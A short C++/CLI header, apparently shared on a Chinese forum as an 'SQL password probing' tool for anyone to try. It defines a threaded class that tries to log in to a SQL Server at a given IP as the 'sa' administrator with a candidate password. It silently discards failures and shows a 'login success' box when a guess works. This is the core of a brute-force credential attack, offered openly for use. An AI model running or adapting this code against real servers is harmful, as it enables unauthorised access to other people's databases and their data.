多线程.h

SQL密码探测VC++ NET版,大家可以测试一下

#pragma once

	using namespace System;
	using namespace System::ComponentModel;
	using namespace System::Collections;
	using namespace System::Windows::Forms;
	using namespace System::Data;
	using namespace System::Drawing;
    using namespace System::Data::SqlClient;
	using namespace System::Threading;
 
	/// <summary>	
ref class 多线程
{
public:
	多线程(void);
};
 //线程类
    public ref class MyThreadClass
    {
		public: String^ 密码;
		public: String^ IP;
		public:  void ShowParameter(Object^stateInfo)
        {
        	try
			{
			 String^ MySqlConnection="user id=sa;password="+密码+";Database =;data source="+IP+";Connect Timeout=3000"; 
			 SqlConnection^ myConnection = gcnew SqlConnection(MySqlConnection); 
			 myConnection->Open(); 
             MessageBox::Show("登录成功","信息提示",MessageBoxButtons::OK,MessageBoxIcon::Information);
			 myConnection->Close();
			 }
			  catch(Exception^ MyEx)
			  {
			    
			   
			//	MessageBox::Show("数据库记录出现错误："+MyEx->Message,"信息提示",MessageBoxButtons::OK,MessageBoxIcon::Information);
			  }
		 }
	
	};